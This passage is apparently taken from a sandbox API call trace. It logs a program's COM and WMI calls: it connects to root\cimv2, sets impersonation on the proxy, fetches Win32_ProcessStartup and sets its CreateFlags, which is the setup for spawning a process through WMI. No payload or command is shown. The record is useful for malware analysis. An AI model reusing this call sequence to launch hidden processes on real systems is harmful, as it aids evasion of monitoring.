returned 0x0 [0064.127] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3db60, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0064.127] WbemLocator:IUnknown:AddRef (This=0x1bf3db60) returned 0x3 [0064.127] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3db60, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0064.128] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3db60, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0064.128] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3db60, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0064.128] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0064.128] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0064.128] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3db60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0064.128] WbemLocator:IUnknown:Release (This=0x1bf3db60) returned 0x2 [0064.128] WbemLocator:IUnknown:Release (This=0x1bf3db60) returned 0x1 [0064.128] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0064.128] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0064.128] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3db60, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bf3db60) returned 0x0 [0064.128] WbemLocator:IUnknown:AddRef (This=0x1bf3db60) returned 0x3 [0064.128] WbemLocator:IUnknown:Release (This=0x1bf3db60) returned 0x2 [0064.128] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3abc0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0064.128] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3abc0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0064.128] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3abc0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0064.128] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bf3db80) returned 0x0 [0064.129] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf3db80, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf29e20) returned 0x0 [0064.407] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29e20, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11e0920) returned 0x0 [0064.407] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11e0920, pProxy=0x1bf29e20, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0064.407] WbemLocator:IUnknown:Release (This=0x11e0920) returned 0x1 [0064.407] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29e20, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11e0960) returned 0x0 [0064.407] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29e20, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11e0920) returned 0x0 [0064.407] WbemLocator:IClientSecurity:SetBlanket (This=0x11e0920, pProxy=0x1bf29e20, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0064.407] WbemLocator:IUnknown:Release (This=0x11e0920) returned 0x2 [0064.407] WbemLocator:IUnknown:Release (This=0x11e0960) returned 0x1 [0064.408] CoTaskMemFree (pv=0x1bf3caa0) [0064.408] WbemLocator:IUnknown:AddRef (This=0x1bf29e20) returned 0x2 [0064.408] WbemLocator:IUnknown:Release (This=0x1bf3db80) returned 0x0 [0064.408] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0064.408] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0064.408] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29e20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11e0930) returned 0x0 [0064.408] WbemLocator:IRpcOptions:Query (in: This=0x11e0930, pPrx=0x1bf3dbe0, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0064.408] WbemLocator:IUnknown:Release (This=0x11e0930) returned 0x2 [0064.408] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0064.409] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0064.409] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29e20, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf29e20) returned 0x0 [0064.409] WbemLocator:IUnknown:Release (This=0x1bf29e20) returned 0x2 [0064.409] SysStringLen (param_1=0x0) returned 0x0 [0064.409] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ab00, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0064.409] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ab00, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0064.409] IWbemServices:GetObject (in: This=0x1bf29e20, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bf43f50, ppCallResult=0x0) returned 0x0 [0064.410] IWbemClassObject:Get (in: This=0x1bf43f50, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0064.411] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0064.411] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0064.411] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0064.411] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0064.411] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0064.411] IUnknown:Release (This=0x111f638) returned 0x1 [0064.413] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bf3db80) returned 0x0 [0064.413] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3db80, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0064.413] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3db80, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bf3ac80) returned 0x0 [0064.413] WbemDefPath:IUnknown:Release (This=0x1bf3db80) returned 0x0 [0064.413] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bf3ac80) returned 0x0 [0064.413] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0064.413] WbemDefPath:IUnknown:AddRef (This=0x1bf3ac80) returned 0x3 [0064.413] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0064.413] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0064.413] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bf3dba0) returned 0x0 [0064.413] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3dba0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0064.414] WbemDefPath:IUnknown:Release (This=0x1bf3dba0) returned 0x3 [0064.414] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0064.414] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0064.414] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0064.414] WbemDefPath:IUnknown:Release (This=0x1bf3ac80) returned 0x2 [0064.414] WbemDefPath:IUnknown:Release (This=0x1bf3ac80) returned 0x1 [0064.414] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0064.414] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0064.414] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bf3ac80) returned 0x0 [0064.414] WbemDefPath:IUnknown:AddRef (This=0x1bf3ac80) returned 0x3 [0064.414] WbemDefPath:IUnknown:Release (This=0x1bf3ac80) returned 0x2 [0064.414] WbemDefPath:IWbemPath:SetText (This=0x1bf3ac80, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0064.414] IWbemClassObject:Get (in: This=0x1bf43f50, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a911a8*=0, plFlavor=0x2a911ac*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a911a8*=19, plFlavor=0x2a911ac*=0) returned 0x0 [0064.414] IWbemClassObject:Get (in: This=0x1bf43f50, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a911a8*=19, plFlavor=0x2a911ac*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a911a8*=19, plFlavor=0x2a911ac*=0) returned 0x0 [0064.414] IWbemClassObject:Put (This=0x1bf43f50, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0064.414] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3aa40, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0064.414] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0064.415] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0064.415] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0064.415] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0064.415] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0064.415] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0064.415] IUnknown:Release (This=0x111f638) returned 0x1 [0064.416] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bf3dd40) returned 0x0 [0064.417] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3dd40, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0064.417] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3dd40, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bf3ad40) returned 0x0 [0064.417] WbemDefPath:IUnknown:Release (This=0x1bf3dd40) returned 0x0 [0064.417] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ad40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bf3ad40) returned 0x0 [0064.417] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ad40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0064.417] WbemDefPath:IUnknown:AddRef (This=0x1bf3ad40) returned 0x3 [0064.417] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ad40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0064.417] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ad40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0064.417] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ad40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bf3dd80) returned 0x0 [0064.417] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3dd80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0064.417] WbemDefPath:IUnknown:Release (This=0x1bf3dd80) returned 0x3 [0064.417] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0064.418] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0064.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ad40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0064.418] WbemDefPath:IUnknown:Release (This=0x1bf3ad40) returned 0x2 [0064.418] WbemDefPath:IUnknown:Release (This=0x1bf3ad40) returned 0x1 [0064.418] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0064.418] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0064.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ad40, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bf3ad40) returned 0x0 [0064.418] WbemDefPath:IUnknown:AddRef (This=0x1bf3ad40) returned 0x3 [0064.418] WbemDefPath:IUnknown:Release (This=0x1bf3ad40) returned 0x2 [0064.418] WbemDefPath:IWbemPath:SetText (This=0x1bf3ad40, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0064.418] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ad40, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0064.418] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0064.418] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0064.418] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0064.418] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0064.418] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0064.418] IUnknown:Release (This=0x111f638) returned 0x1 [0064.419] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bf3de80) returned 0x0 [0064.419] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3de80, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0064.419] 